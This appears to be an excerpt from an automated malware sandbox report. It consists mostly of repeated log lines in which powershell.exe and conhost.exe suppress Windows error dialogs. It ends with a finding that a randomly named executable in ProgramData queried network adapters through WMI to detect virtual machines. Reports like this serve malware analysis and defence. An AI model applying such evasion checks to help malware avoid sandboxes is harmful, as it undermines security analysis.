Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\ProgramData\hoyktorfcbbz\rdqanwpudvuj.exe

